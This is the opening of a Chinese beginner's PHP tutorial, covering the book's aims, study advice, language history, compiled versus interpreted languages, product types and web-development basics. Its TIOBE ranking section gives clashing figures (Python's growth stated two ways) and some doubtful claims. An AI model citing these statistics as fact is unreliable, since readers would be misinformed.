🎉 欢迎来到《Begin to Learn PHP》

这是一本专为零基础初学者设计的 PHP 学习教程,帮助你从零开始逐步掌握 PHP 编程技能。

关于本书

PHP 是一种广泛使用的开源脚本语言,特别适用于 Web 开发。

本书旨在为初学者提供一份完整、系统的 PHP 学习指南,帮助大家从零开始掌握 PHP 编程,无论你是初学者还是有一定经验的开发者,都能从中获益。

快速导航

Part 0: 混沌开天辟地

Part I: PHP 基础入门

Part II: 核心概念

Part III: Web 开发基础

Part IV: 数据库编程

Part V: 面向对象编程

Part VI: 实战应用


祝您阅读愉快!

前言

写作动机

这本书的诞生源于这样的想法:用最简单易懂的语言,最循序渐进的方式,帮助零基础的初学者真正掌握 PHP 编程技能。我希望这本书能够成为你 PHP 学习路上的良师益友。

本书特色

🎯 零基础友好

本书专为零基础读者设计,不需要任何编程经验。我们将从最基本的概念讲起,确保每个知识点都能被充分理解。

📚 系统完整

从 PHP 基础语法到面向对象编程,从 Web 表单处理到数据库操作,从安全编程到实战项目,本书涵盖了 PHP 开发的所有核心知识点。

💡 实践导向

理论知识结合实际应用,每个章节都包含大量示例代码和练习题,帮助你巩固所学知识。

🌐 Web开发导向

本书专注于 Web 开发场景,所有知识点都围绕实际 Web 应用需求展开,让你学完就能用。

读者对象

本书适合以下读者:

  • 零基础编程初学者:完全没有编程经验,想要学习 Web 开发
  • Web开发爱好者:有一定 HTML/CSS 基础,想要学习后端开发
  • 转行IT人士:想要通过掌握 PHP 技能进入 Web 开发行业
  • 在校学生:计算机相关专业,想要系统学习 PHP 开发
  • 自学者:通过自学掌握编程技能的开发者

学习建议

📖 阅读顺序

建议按照章节顺序学习:

  1. 第0章:做好心态和基础知识准备
  2. 第1-3章:掌握 PHP 基础语法
  3. 第4-6章:学习核心概念和常用功能
  4. 第7-9章:进入 Web 开发实战
  5. 第10-11章:掌握数据库编程
  6. 第12-13章:学习面向对象编程
  7. 第14-16章:提升到实战水平

💪 学习方法

  • 动手实践:每学完一个知识点都要动手写代码
  • 多做练习:完成书中的练习题,巩固所学
  • 不怕出错:编程中的错误是学习的机会
  • 持续学习:编程学习是一个持续的过程

⚡ 环境准备

学习前请准备好:

  • 一台可以上网的电脑(Windows/Mac/Linux均可)
  • 文本编辑器或IDE(推荐VS Code 或者 Sublime Text 3 或者 PhpStorm )
  • Web 服务器环境(Wnmp 或 XAMPP 或 Phpstudy 或 Docker)
  • 浏览器(Chrome/Firefox等)

内容结构

本书分为六个部分:

Part 0: 混沌开天辟地 - 学习前的准备工作

Part I: PHP基础入门 - 掌握 PHP 基本语法

Part II: 核心概念 - 学习函数、数组、字符串处理

Part III: Web开发基础 - 掌握 Web 开发核心技能

Part IV: 数据库编程 - 学习数据库操作

Part V: 面向对象编程 - 掌握现代 PHP 开发方式

Part VI: 实战应用 - 提升到实际项目开发水平

书中约定

📝 代码规范

  • PHP代码使用<?php ... ?>标记
  • 关键字使用粗体显示
  • 重要概念使用斜体标注
  • 示例代码都有详细注释

💡 提示说明

  • ⚠️ 注意:需要特别小心的地方
  • 💡 提示:有用的建议和技巧
  • 🎯 重点:核心知识点
  • 🔗 链接:相关资源推荐

致谢

感谢所有为 PHP 社区做出贡献的开发者们,正是因为你们的努力,才让PHP成为如此优秀的编程语言。

感谢 PHP 官方文档社区、各种开源项目的维护者,以及所有分享技术知识的前辈们。

感谢每一位正在阅读这本书的你,你的学习之旅即将开始,祝愿你在PHP的世界里找到属于自己的精彩!


开始你的PHP之旅

编程学习就像爬山,过程可能辛苦,但山顶的风景绝对值得。现在,让我们翻开第一页,开始这段充满挑战和收获的 PHP 学习之旅吧!

记住:每个优秀的程序员都是从Hello World开始的!


如果你在学习过程中遇到问题,欢迎查阅书中的引用内容获取更多帮助资源。

学习交流

学习交流群👗

如果您对 PHP 编程感兴趣或者在学习本教程中有任何问题,欢迎加入我们的学习交流群:

由于微信群二维码容易过期,请加我的微信拉您进群,微信号:tagecode

微信

捐赠💰

如果您觉得本教程对您有所帮助,请考虑捐赠以支持作者。

支付宝或者微信扫码

支付宝或者微信

非常感谢您的支持,您的捐赠将让我继续努力更新。

第0章:预备备

在正式开始学习 PHP 之前,我们需要做好充分的准备工作。


本章目录


本章学习目标

完成本章学习后,你应该能够:

  • 建立正确的学习心态,理解"慢就是快"的道理,培养耐心和持续学习的习惯
  • 了解Web开发的基本概念,包括前端、后端、数据库等核心组成部分
  • 理解编程语言的发展历程,了解PHP在编程语言中的地位和特点
  • 掌握基础的术语和概念,包括编译型与解释型语言的区别、常见产品类型等
  • 获取优质学习资源,知道在哪里可以找到帮助和学习资料
  • 为正式学习PHP做好充分准备,带着清晰的目标和正确的心态进入下一阶段

完成本章内容后,就可以正式开始第1章的PHP语法学习!

心态准备

我们总是会看到这样的言论:

  • 7 天从入门到精通
  • 7 天从学渣到学霸
  • 7 天从零成为大神
  • 7 天从零到成为架构师
  • 7 天连锁酒店
  • 7 天无理由退换货

等等之类的言论,这种给你承诺了具体多少天就能学会的豪言壮语,其实就是个标题党,但是刚刚好满足了你热烈却又浮躁的内心!

就跟商品促销一样,口号喊的响亮,一顿操作猛如虎,结果你算下来几乎没有便宜或者更贵了。

实际上,学习一门编程语言是一个长期的过程,编程语言只是基础,基于该语言以及语言的生态还有很多东西,比如学习框架,学习算法,学习数据库,学习设计模式,学习软件架构,学习软件测试,学习软件工程等等,都是需要时间的。

说了这么多,只想告诉你,念念不忘,必有回响。刚刚开始很多东西很模糊,慢一点也没关系,其实慢就是快!

总之,学习是一件值得长期投入的事情,甚至是终身学习。

编程语言的诞生和发展

从机器码到现代语言的演进之路

编程语言是人类与计算机沟通的桥梁。它的发展历程不仅反映了计算机技术的演进,也体现了人类如何不断尝试用更自然、高效、抽象的方式来控制计算机,实现复杂逻辑与功能。

本文将简要介绍:

  • 编程语言的起源;
  • 从机器语言到高级语言的演变;
  • 主要编程范式的出现;
  • 现代编程语言的发展趋势;
  • 未来展望。

一、编程语言的诞生:从机器语言到汇编语言

1. 机器语言(1940年代)

最早的计算机使用机器语言(Machine Language),即由0和1组成的二进制代码,直接被计算机的中央处理器(CPU)执行。

优点:执行效率极高。
缺点:难以理解和编写,容易出错,不具备可移植性。

2. 汇编语言(1950年代)

为了解决机器语言的可读性问题,汇编语言(Assembly Language)应运而生。它使用助记符(如 MOV, ADD)代替二进制指令,通过汇编器将代码翻译为机器码。

优点:比机器语言更易读、编写。
缺点:仍与硬件密切相关,不具备跨平台能力。


二、高级语言的兴起(1950s - 1970s)

为了进一步提高开发效率和可移植性,人们开始设计高级语言(High-Level Language),这些语言更接近人类语言,通过编译器解释器转换为机器码。

1. Fortran(1957年)

第一个广泛使用的高级语言,主要用于科学计算

2. COBOL(1959年)

专注于商业数据处理,至今仍在一些金融系统中使用。

3. Lisp(1958年)

最早用于人工智能的编程语言,开创了函数式编程的先河。

4. C语言(1972年)

由 Dennis Ritchie 在贝尔实验室开发,结合了高效性与灵活性,成为系统编程的基石,影响了后来的 C++、Java、C#、Python 等众多语言。


三、编程范式的多样化(1970s - 1990s)

随着软件工程的发展,人们开始探索不同的编程范式(Programming Paradigms),以应对日益复杂的软件需求。

1. 面向对象编程(OOP)

代表语言:Smalltalk(1972)、C++(1983)、Java(1995)

特点:以“对象”为中心,强调封装、继承、多态,适合大型软件开发。

2. 函数式编程(FP)

代表语言:Lisp, Haskell, ML

特点:强调“函数作为一等公民”,避免副作用,适合并发与数学建模。

3. 过程式编程(Procedural)

代表语言:C, Pascal

特点:以“过程”或“函数”为单位组织代码,结构清晰,执行效率高。

4. 逻辑编程(Logic Programming)

代表语言:Prolog

特点:基于逻辑推理,适合人工智能和专家系统。


四、现代编程语言的崛起(1990s - 至今)

进入互联网时代,软件开发需求更加多样化,编程语言也朝着易用性、安全性、跨平台性方向发展。

1. Java(1995年)

提出“一次编写,到处运行”(Write Once, Run Anywhere)理念,采用JVM虚拟机机制,广泛用于企业级开发。

2. Python(1991年,普及于2000年后)

简洁易读、语法清晰著称,成为人工智能、数据分析、Web开发等领域的主流语言。

3. JavaScript(1995年)

最初用于浏览器端脚本语言,后借助 Node.js 实现前后端一体化开发,现已成为 Web 开发生态的核心。

4. PHP(1995年)

由 Rasmus Lerdorf 创建,最初称为"Personal Home Page Tools",专门为Web开发而生。PHP以简单易学、开发效率高著称,成为全球最受欢迎的Web后端语言之一,驱动着包括Facebook、WordPress在内的数百万个网站。

5. C#(2000年)

微软推出的面向对象语言,广泛用于 Windows 平台开发和游戏开发(Unity)。

6. Go(2009年)、Rust(2010年)

  • Go:强调并发与简洁,适合云原生与微服务开发。
  • Rust:强调内存安全与性能,适用于系统编程与嵌入式领域。

五、编程语言的发展趋势

趋势说明
多范式融合支持多种编程范式(如 Python 同时支持 OOP、FP)
跨平台能力增强JVM、.NET Core、WebAssembly 等技术推动语言跨平台
AI 与自动编程代码生成、代码补全、AI辅助编程(如 GitHub Copilot)
安全性提升Rust 等语言强调内存安全,减少漏洞
轻量化与高性能如 Go、Zig 等语言追求极致性能与简洁
开发者体验优化更好的 IDE 支持、语法提示、错误检查工具

六、未来展望:编程语言将走向何方?

  1. 自然语言编程:通过自然语言描述逻辑,由 AI 转换为代码;
  2. 低代码/无代码平台:让非程序员也能参与开发;
  3. 语言标准化与互操作性增强:如 WASM(WebAssembly)实现多语言协同;
  4. AI 驱动的语言进化:AI 不仅辅助编程,还可能参与语言设计;
  5. 面向量子计算的语言:如 Q#、Qiskit 等语言开始探索新领域。

七、总结:编程语言的发展历程一览表

时代代表语言主要特点
1940s机器语言二进制指令,直接运行
1950s汇编语言使用助记符,需汇编器转换
1950s-70sFortran, COBOL, Lisp, C高级语言兴起,支持不同领域
1970s-90sC++, Java, Haskell, Prolog多种编程范式出现
1990s-至今Python, JavaScript, Go, Rust, PHP易用性、性能、安全并重
未来AI 编程、低代码、WASM更智能、更高效、更易用

八、结语

编程语言的发展史,是一部人类不断探索如何更好地控制计算机、解决问题、创造价值的历史。从最初的二进制代码,到如今支持人工智能、区块链、量子计算等前沿技术的语言,编程语言不断演化,推动着科技的进步。

编程不仅是技术,更是一种思维工具。掌握它,你就能更好地理解和塑造这个数字化世界。

编程语言排行榜

TIOBE 编程社区指数

什么是 TIOBE 指数?

TIOBE 编程社区指数(TIOBE Programming Community Index)是一个衡量编程语言受欢迎程度的指标,每月更新一次。该指数反映了编程语言在全球范围内的流行度和使用情况,是开发者了解技术趋势的重要参考。

排名方法

TIOBE 指数的计算基于多个维度的数据:

  • 搜索引擎查询量:统计各大搜索引擎中编程语言相关的搜索次数
  • 技术讨论热度:包括技术论坛、博客、问答平台中的讨论数量
  • 代码库统计:分析开源项目和代码托管平台中的语言分布
  • 招聘需求:统计各大招聘网站对编程语言的需求情况
  • 教育资源:考察教程、课程等教育资源的丰富程度

2024年最新排名趋势

根据2024年的TIOBE排行榜数据,主要编程语言排名如下:

前十名编程语言(2024年12月)

  1. Python - 23.84% ↑9.98%
  2. C++ - 10.82% ↑0.81%
  3. Java - 9.72% ↑1.73%
  4. C - 9.68%
  5. C# - 7.65%
  6. JavaScript - 3.42%
  7. Go - 新晋前十
  8. Visual Basic - 3.31%
  9. PHP - 已跌出前十,但依旧是 web 快速开发语言之王
  10. Rust - 持续增长

重要趋势分析

Python 的统治地位

  • Python 连续多年保持第一,并在2024年荣获"TIOBE年度编程语言"称号
  • 年度增长率高达9.3%,主要受益于人工智能和机器学习的发展
  • 在数据科学、Web开发、自动化脚本等领域应用广泛

传统语言的挑战

  • C语言从长期的第一位置跌至第四,被C++和Java超越
  • Java 虽然保持第三,但增长缓慢,仅增长1.73%
  • PHP 跌出前十,标志着Web开发技术栈的重大变化

新兴语言的崛起

  • Go语言成功进入前十,成为新的"守门员"
  • Rust 在系统编程领域持续受到关注
  • C# 在20多年后首次获得年度编程语言奖项

排名变化的启示

  1. AI驱动技术变革:Python的崛起与AI技术发展密切相关
  2. 多语言趋势:现代开发通常涉及多种编程语言
  3. Web技术演进:传统Web开发语言(如PHP)面临新框架和语言的挑战
  4. 系统编程复兴:Go和Rust等现代系统编程语言获得关注

排名的局限性

需要注意的是,TIOBE指数存在一定的局限性:

  • 偏向搜索热度:主要反映搜索量,不代表实际使用质量
  • 商业vs开源:可能低估某些商业语言的使用情况
  • 地区差异:不同地区的编程语言偏好存在差异
  • 学习vs使用:搜索量可能更多来自学习者而非实际开发者

对学习者的建议

基于当前的编程语言排行榜,建议:

  1. 基础优先:掌握1-2门主流语言(如Python、Java)作为基础
  2. 关注趋势:了解新兴技术趋势,适时学习新语言
  3. 项目导向:根据具体项目需求选择合适的语言
  4. 持续学习:编程技术变化快速,保持学习习惯很重要

注:TIOBE指数仅供参考,选择编程语言时应考虑具体项目需求、个人兴趣和职业规划。

语言类型

编程语言的两种执行方式

编程语言按照代码的执行方式,可以分为两大类:编译型语言解释型语言。简单来说,这是两种不同的"翻译"方式,就像看外文电影时有两种选择:看字幕配音版还是现场同声传译。

编译型语言(Compiled Languages)

什么是编译型语言?

编译型语言就像预制菜:厨师先把所有菜都做好,然后一次性端给顾客。程序在运行之前,需要通过一个叫做"编译器"的特殊程序,把人类写的代码完整地转换成计算机能直接懂的机器语言,生成一个可执行文件。

生活比喻

想象一下你要出国旅游,但不会说外语。你可以:

  1. 在出发前把所有可能用到的话都录好在翻译机里
  2. 到了国外后,直接播放这些录音

这就是编译型语言的工作方式!

工作流程

源代码 → 编译器 → 机器代码 → 运行程序
  (程序员写的)   (翻译)   (计算机懂的)   (直接运行)

特点

  • 执行速度快:已经翻译好了,直接运行
  • 一次编译,多次运行:编译一次后可以在任何地方运行(同操作系统)
  • 错误检查早:编译时就会发现语法错误
  • 开发调试麻烦:每次修改都要重新编译

常见编译型语言

  • C语言:系统编程、嵌入式开发
  • C++:游戏开发、桌面应用
  • Java:企业级应用(特殊编译方式)
  • C#:Windows应用开发
  • Go:后端服务开发

解释型语言(Interpreted Languages)

什么是解释型语言?

解释型语言就像现场直播:主持人一边说,翻译人员一边实时翻译,观众马上就能听懂。程序运行时,有一个叫做"解释器"的程序会逐行读取代码,翻译一句执行一句。

生活比喻

还是出国旅游的例子:

  1. 你带了一个翻译随行
  2. 你说一句中文,翻译就翻译一句外语给外国人听
  3. 外国人回一句,翻译马上翻译给你听

这就是解释型语言的工作方式!

工作流程

源代码 → 解释器 → 逐行翻译执行
  (程序员写的)   (实时翻译)   (边翻译边运行)

特点

  • 开发速度快:写完就能运行,不用编译
  • 调试方便:可以立即看到修改效果
  • 跨平台性好:有解释器就能运行
  • 执行速度相对慢:每次运行都要翻译

常见解释型语言

  • PHP:Web开发
  • Python:人工智能、数据分析
  • JavaScript:网页交互
  • Ruby:Web开发
  • Node.js:服务器端JavaScript

两种语言的对比

简单对比表格

方面编译型语言解释型语言
执行速度相对慢
开发效率慢(需要编译)快(写完就运行)
错误发现编译时发现运行时发现
调试便利性不太方便很方便
跨平台性需要重新编译有解释器就行
文件大小较大(包含机器码)较小(源代码)

选择建议

什么时候选择编译型语言?

  • 需要高性能的程序(如游戏、操作系统)
  • 执行速度要求极高的场景
  • 需要长期运行的桌面应用
  • 开发硬件驱动程序

什么时候选择解释型语言?

  • Web开发(PHP、JavaScript)
  • 快速原型开发
  • 数据分析人工智能(Python)
  • 自动化脚本
  • 需要快速迭代的项目

PHP是什么类型的语言?

PHP是解释型语言,这有什么好处呢?

PHP作为解释型语言的优势

  1. 快速开发:修改PHP代码后,刷新网页就能看到效果
  2. 易于学习:错误信息友好,调试相对简单
  3. 跨平台:只要有PHP解释器,Windows、Linux、Mac都能运行
  4. Web开发友好:特别适合处理网页请求和响应

实际工作流程

1. 用户访问网页 → 2. Web服务器调用PHP解释器 → 3. PHP解释器逐行执行代码 → 4. 生成HTML页面 → 5. 发送给用户浏览器

现代语言的混合模式

值得一提的是,现代语言往往采用混合模式

  • Java:先编译成字节码,再在Java虚拟机中解释执行
  • Python:先将代码编译成字节码,再解释执行
  • JavaScript:现代浏览器有JIT(即时编译)技术

给初学者的建议

如果你刚开始学编程

  • 解释型语言开始(如PHP、Python)
  • 重点关注编程思维逻辑
  • 不要太担心性能问题,先把程序写对写好

如果你选择PHP

  • 恭喜你选择了解释型语言
  • 你可以立即看到结果,学习成就感强
  • 适合Web开发,就业机会多
  • 错误友好,调试相对容易

记住:选择什么语言类型并不重要,重要的是学会用编程思维解决问题。当你掌握了一门语言后,学习其他语言会变得更容易。

互联网常见的产品类型

互联网产品的多种形式

互联网产品就像不同类型的商店,有的是大商场,有的是小摊位,有的开在手机里,有的专门为电脑设计。了解这些不同类型,能帮助你更好地理解Web开发的应用场景。

主要产品类型分类

1. 网站(Website)

什么是网站?

网站就像互联网上的宣传册或商店,通过浏览器访问,主要用来展示信息或提供服务。

生活比喻

  • 企业官网:就像公司的名片和宣传册
  • 电商网站:就像网上购物商城
  • 新闻网站:就像电子报纸
  • 博客网站:就像个人日记本

技术特点

  • 使用浏览器访问(Chrome、Firefox、Safari等)
  • 基于Web技术开发(HTML、CSS、JavaScript)
  • 可以在任何有网络的设备上访问
  • 主要用PHP、Python、Java等开发后端

常见例子


2. 手机App(Mobile Application)

什么是手机App?

手机App就是安装在手机上的独立应用程序,需要在应用商店下载安装。

生活比喻

  • 手机App就像手机上的小工具盒
  • 社交App:就像手机上的聚会场所
  • 游戏App:就像口袋里的游戏机
  • 工具App:就像瑞士军刀

技术特点

  • 需要下载安装到手机
  • 可以访问手机硬件(摄像头、GPS等)
  • 离线也能使用部分功能
  • 开发需要原生技术(iOS用Swift,Android用Java/Kotlin)

开发方式

  1. 原生开发:专门为iOS或Android开发
  2. 混合开发:用Web技术开发,打包成App
  3. 跨平台开发:一次开发,多平台运行(如React Native、Flutter)

常见例子

  • 微信、QQ(社交)
  • 抖音、快手(短视频)
  • 美团、饿了么(生活服务)

3. 小程序(Mini Program)

什么是小程序?

小程序是在大型应用内运行的轻量级应用,不需要单独下载安装,用完即走。

生活比喻

  • 小程序就像大商场里的专柜
  • 微信小程序:就像微信这个大商场里的各种小店
  • 支付宝小程序:就像支付宝里的各种服务窗口

技术特点

  • 无需下载安装,即用即走
  • 在大平台内运行(微信、支付宝、抖音等)
  • 开发相对简单,成本较低
  • 可以利用平台的功能和用户数据

开发技术

  • 微信小程序:WXML、WXSS、JavaScript
  • 支付宝小程序:AXML、ACSS、JavaScript
  • 字节跳动小程序:TTML、TTSS、JavaScript

常见例子

  • 微信里的摩拜单车、美团外卖
  • 支付宝里的蚂蚁森林、滴滴出行
  • 抖音里的电商小程序

4. PC客户端(Desktop Application)

什么是PC客户端?

PC客户端是专门为电脑设计安装的应用程序,需要下载安装到电脑上。

生活比喻

  • PC客户端就像办公桌上的专用工具
  • 微信PC版:就像办公桌上的电话
  • QQ:就像办公桌上的对讲机
  • 游戏客户端:就像电脑上的游戏机

技术特点

  • 为大屏幕和键鼠操作优化
  • 性能更强,功能更完整
  • 可以深度访问系统资源
  • 需要适配不同操作系统(Windows、macOS、Linux)

开发技术

  • Windows:C#、C++、Electron
  • macOS:Swift、Objective-C
  • 跨平台:Electron、Qt、Flutter

常见例子

  • 微信、QQ电脑版
  • 酷狗音乐、网易云音乐的PC版
  • 各种游戏客户端

5. 响应式Web应用(Responsive Web App)

什么是响应式Web应用?

响应式Web应用是能自动适应不同屏幕尺寸的网站,在手机、平板、电脑上都有良好体验。

生活比喻

  • 就像变形金刚,根据需要变成不同形态
  • 在手机上是紧凑版
  • 在电脑上是完整版

技术特点

  • 一个代码适配所有设备
  • 根据屏幕大小自动调整布局
  • 无需开发多个版本
  • SEO友好,容易被搜索引擎收录

开发技术

  • 响应式CSS(媒体查询)
  • 前端框架(Bootstrap、Tailwind CSS)
  • JavaScript交互(Vue、React)

不同产品类型的对比

简单对比表格

产品类型开发难度开发成本用户体验获客方式维护成本
网站一般SEO、推广
手机App最好应用商店
小程序较好平台流量
PC客户端直接推广
响应式Web良好SEO、推广

选择哪种产品类型?

根据业务需求选择

选择网站的情况

  • 信息展示:企业官网、个人博客
  • SEO需求:需要搜索引擎带来流量
  • 预算有限:快速上线,低成本
  • 跨平台要求:所有设备都能访问

选择手机App的情况

  • 复杂功能:需要强大的功能和性能
  • 深度集成:需要使用手机硬件功能
  • 用户粘性:希望用户经常使用
  • 离线需求:需要离线工作能力

选择小程序的情况

  • 快速验证:低成本试错
  • 利用平台流量:借助微信、支付宝等平台的用户
  • 简单功能:功能相对简单,使用频率适中
  • 社交传播:希望用户之间分享传播

选择PC客户端的情况

  • 专业办公:需要在大屏幕上工作
  • 高性能要求:游戏、设计软件等
  • 企业级应用:内部管理系统
  • 长期使用:用户需要长时间使用

现代趋势:多端融合

全栈开发的重要性

现代产品往往是多端协同的:

  • 用户在手机App上下单
  • 在电脑上查看详细数据
  • 通过小程序快速分享
  • 在网站上获取信息

PHP开发者的机会

PHP在Web开发中地位重要:

  • 网站后端:大多数网站都用PHP开发
  • API服务:为App和小程序提供数据接口
  • 管理系统:企业内部管理后台
  • 小程序后端:微信小程序的服务端开发

给初学者的建议

学习重点

  1. 打好Web基础:HTML、CSS、JavaScript
  2. 掌握PHP后端:这是你的核心技能
  3. 了解数据库:MySQL等数据存储
  4. 学习API开发:为多端提供服务

发展方向

  1. Web全栈工程师:专注网站开发
  2. 后端工程师:专门开发API和服务
  3. 全端开发:了解多端开发技术
  4. 产品经理:理解各种产品形态

记住:不同的产品类型适合不同的场景,没有绝对的好坏。作为PHP开发者,首先要掌握Web开发的核心技能,然后根据自己的兴趣和市场需求选择发展方向。

什么是 Web 开发

什么是 Web 开发?

你有没有想过,我们每天都在用的淘宝、京东、微信网页版、百度、微博、知乎……这些网站是怎么做出来的?它们背后是谁在“搭建”和“维护”?这个过程,就叫做——Web 开发

今天,我们就用最通俗易懂的话,带你搞明白:Web 开发到底是什么?


一、Web 是什么?

“Web” 是 “World Wide Web” 的缩写,中文叫“万维网”。简单说,就是我们通过浏览器(比如 Chrome、Edge、Safari)访问的各种网站。

比如你打开手机或电脑,输入 www.taobao.com,看到的淘宝页面,就是一个“Web 页面”。

又比如你打开手机或电脑,输入 www.baidu.com,看到的百度搜索页面,就是一个“Web 页面”。


二、Web 开发是做什么的?

Web 开发,就是“造网站”或“做网页应用”的过程。

就像盖房子一样,Web 开发者就是“建筑工人 + 设计师 + 电工 + 水管工”,他们用代码“盖”出一个可以访问、可以交互、可以买东西、可以聊天的网站。


三、举个例子:做一个“点餐网站”

假设你要做一个“外卖点餐网站”,用户可以在上面看菜单、加购物车、下单、付款。

那 Web 开发要做什么呢?

1. 前端开发(Front-end)—— 用户看到的部分

这是用户直接看到和操作的界面,比如:

  • 菜单图片漂不漂亮?
  • 按钮点一下有没有反应?
  • 页面滑动顺不顺畅?

前端开发者负责用 HTML、CSS、JavaScript 这些技术,把设计图变成一个“能动、能点、能看”的网页。

👉 就像装修房子:刷墙、贴瓷砖、装灯、摆家具,让用户住得舒服。


2. 后端开发(Back-end)—— 网站背后的“大脑”

用户点了“下单”按钮,网站怎么知道你要买什么?钱怎么扣?订单怎么存?谁来通知餐厅?

这些“看不见”的逻辑,就是后端开发负责的。

后端开发者用 PHP、Java、Python、Node.js 等语言,写程序来:

  • 接收用户的下单请求
  • 把订单存进数据库
  • 扣钱、发短信、通知商家

👉 就像房子的地基、电线、水管、下水道,虽然看不见,但缺了它房子就用不了。


3. 数据库(Database)—— 网站的“仓库”

用户的账号、密码、订单、商品信息……这么多数据存在哪里?

就存在数据库里,比如 MySQL、PostgreSQL。

数据库就像一个大仓库,后端程序负责往里“存东西”和“取东西”。


4. 服务器(Server)—— 网站的“家”

网站不能只存在你电脑上,得放在一个“一直开着的电脑”上,让所有人都能访问。

这个“电脑”就是服务器。它可能在阿里云、腾讯云、AWS 上。

服务器负责运行网站程序,处理用户请求。


四、Web 开发 = 前端 + 后端 + 数据库 + 服务器

部分负责什么用什么技术
前端用户看到的界面HTML、CSS、JavaScript、Vue、React
后端处理逻辑、连接数据库PHP、Java、Python、Node.js
数据库存储数据MySQL、PostgreSQL、MongoDB
服务器托管网站,提供服务Linux、Nginx、Apache、云服务器

五、Web 开发 ≠ 网页设计

很多人容易混淆:

  • 网页设计(Web Design):是“美工”,负责画图、配色、排版,让网站好看。
  • Web 开发(Web Development):是“程序员”,负责让网站能用、能动、能交互。

设计师画图,开发者把图变成能用的网站。


六、Web 开发能做什么?

学会了 Web 开发,你可以做:

  • 企业官网(如公司介绍网站)
  • 电商平台(如淘宝、京东)
  • 社交网站(如微博、知乎)
  • 在线教育平台(如网课网站)
  • 管理系统(如后台管理系统)
  • 博客、论坛、小程序后台……

只要是能用浏览器访问的网站,都是 Web 开发的成果。


七、总结:一句话说清 Web 开发

Web 开发,就是用代码“搭建”一个可以通过浏览器访问的网站或应用,让它既能看,又能用。

它就像盖房子:

  • 前端 = 装修
  • 后端 = 水电煤气
  • 数据库 = 储物间
  • 服务器 = 地基和房子本身

所有这些部分协同工作,才有了我们每天使用的各种网站。

什么是 Web 开发

Web 开发概述

Web 开发是指创建、构建和维护网站和Web应用程序的过程。它涵盖了从简单的静态页面到复杂的Web应用程序开发,涉及多个技术领域和专业技能。

Web 开发的主要组成部分

前端开发(Frontend)

前端开发负责用户在浏览器中直接看到和交互的部分,也称为客户端开发。

核心技术:

  • HTML (超文本标记语言):定义网页的结构和内容
  • CSS (层叠样式表):控制网页的外观、布局和样式
  • JavaScript:实现网页的交互功能和动态效果

现代前端框架:

  • React、Vue.js、Angular(SPA单页应用框架)
  • Bootstrap、Tailwind CSS(UI框架)
  • Webpack、Vite(构建工具)

后端开发(Backend)

后端开发负责服务器端的逻辑处理、数据存储和业务逻辑,也称为服务器端开发。

主要职责:

  • 处理HTTP请求和响应
  • 数据库操作和数据处理
  • 用户认证和授权
  • 业务逻辑实现
  • API接口开发

常见后端语言:

  • PHP:Web开发的传统强者,适合快速开发
  • Python:Django、Flask框架
  • Java:Spring Boot框架
  • Node.js:基于JavaScript的服务器开发
  • C#:ASP.NET Core
  • Go:高并发场景
  • Ruby:Ruby on Rails

数据库

数据库用于存储和管理应用程序的数据。

关系型数据库:

  • MySQL、PostgreSQL、SQL Server、SQLite

非关系型数据库:

  • MongoDB、Redis、ElasticSearch

Web开发常见术语

基础概念

HTTP/HTTPS

  • HTTP:超文本传输协议,Web通信的基础协议
  • HTTPS:HTTP的安全版本,使用SSL/TLS加密

URL/URI

  • URL:统一资源定位符,网络上资源的地址
  • URI:统一资源标识符,更广泛的标识概念

DNS

  • 域名系统,将域名转换为IP地址

开发架构

客户端-服务器架构(Client-Server)

  • 客户端发起请求,服务器提供响应

MVC架构

  • Model(模型):数据处理和业务逻辑
  • View(视图):用户界面展示
  • Controller(控制器):协调模型和视图

RESTful API

  • 基于REST原则设计的API接口
  • 使用HTTP方法(GET、POST、PUT、DELETE)进行操作

SPA (Single Page Application)

  • 单页应用,在单个页面内完成所有操作

SSR (Server-Side Rendering)

  • 服务器端渲染,页面在服务器端生成

版本控制

Git

  • 分布式版本控制系统
  • 用于代码管理和团队协作

GitHub/GitLab

  • 基于Git的代码托管平台
  • 提供协作开发和CI/CD功能

部署和运维

服务器

  • 物理或虚拟服务器,托管Web应用
  • 常见:Apache、Nginx

云服务

  • 云计算平台提供的服务
  • 常见:AWS、阿里云、腾讯云

CDN (Content Delivery Network)

  • 内容分发网络,加速静态资源访问

容器化

  • Docker:应用容器化部署
  • Kubernetes:容器编排管理

Web安全

XSS (Cross-Site Scripting)

  • 跨站脚本攻击,注入恶意脚本

CSRF (Cross-Site Request Forgery)

  • 跨站请求伪造,冒充用户操作

SQL注入

  • 通过SQL语句攻击数据库

HTTPS/SSL

  • 加密传输,保护数据安全

性能优化

缓存策略

  • 浏览器缓存、CDN缓存、服务器缓存

代码分割

  • 将代码按需加载,减少初始加载时间

图片优化

  • 压缩图片大小,使用适当格式

懒加载

  • 延迟加载非关键资源

现代Web开发趋势

全栈开发(Full-Stack)

掌握前端和后端技术的开发者,能够独立完成整个Web应用的开发。

无服务器架构(Serverless)

不需要管理服务器,专注于业务逻辑开发,如AWS Lambda、阿里云函数计算。

微前端(Micro Frontends)

将前端应用拆分为多个独立的小型应用,提高开发和维护效率。

Progressive Web App (PWA)

渐进式Web应用,结合Web和原生应用的优势。

Web开发学习路径

初学者路径

  1. HTML/CSS基础JavaScript基础
  2. 选择一个后端语言(如PHP)
  3. 学习数据库基础(MySQL)
  4. 完成简单的Web项目

进阶学习

  1. 学习现代框架(Vue、React等)
  2. 掌握API开发
  3. 了解部署和运维
  4. 学习安全最佳实践

专业方向

  • 前端专家:专注于用户体验和界面开发
  • 后端专家:专注于系统架构和数据处理
  • 全栈工程师:掌握前后端完整技术栈
  • DevOps工程师:专注于部署和运维

Web开发的优势

职业前景

  • 需求量大,就业机会丰富
  • 薪资水平相对较高
  • 远程工作机会多

技术特点

  • 学习资源丰富,入门相对容易
  • 开发工具成熟,效率高
  • 社区活跃,技术更新快
  • 可以快速看到开发成果

灵活性

  • 可以选择不同技术栈
  • 支持多种开发模式
  • 适合个人项目到企业级应用

Web开发是一个不断发展的领域,需要持续学习新技术和新工具。选择PHP作为Web开发的起点是一个很好的选择,因为它学习曲线平缓,开发效率高,且有丰富的学习资源。

PHP 语言生态

从框架到社区的完整生态体系

PHP 自诞生以来,已经从一个简单的 HTML 嵌入式脚本语言,发展成为一个拥有完整生态系统的现代编程语言。如今,PHP 不仅广泛用于 Web 开发,在 API 服务、命令行工具、微服务架构、内容管理系统(CMS)、电商平台等多个领域都有广泛应用。

本文将带你全面了解 PHP 的技术生态体系,包括:

  • PHP 框架与开发工具;
  • 包管理器(Composer);
  • 模板引擎;
  • 数据库与 ORM;
  • 测试工具(PHPUnit);
  • 性能分析工具;
  • 缓存与队列系统;
  • 社区与开源项目;
  • 现代 PHP 的发展趋势;
